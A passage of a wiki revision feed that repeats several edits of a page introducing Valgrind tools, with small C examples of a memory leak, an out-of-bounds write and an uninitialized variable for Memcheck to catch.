    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11098</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11098"/>
		<updated>2023-01-13T15:58:48Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11097</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11097"/>
		<updated>2023-01-13T15:58:28Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11096</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11096"/>
		<updated>2023-01-13T15:50:52Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Uninitialized Variable */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11095</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11095"/>
		<updated>2023-01-13T15:50:27Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Memory Leak */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:3_valgrind_srzjsgb.jpg&amp;diff=11094</id>
		<title>File:3 valgrind srzjsgb.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:3_valgrind_srzjsgb.jpg&amp;diff=11094"/>
		<updated>2023-01-13T15:50:08Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:1_valgrind_hmjsjz.jpg&amp;diff=11093</id>
		<title>File:1 valgrind hmjsjz.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:1_valgrind_hmjsjz.jpg&amp;diff=11093"/>
		<updated>2023-01-13T15:48:50Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11092</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11092"/>
		<updated>2023-01-13T15:47:09Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Memcheck */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
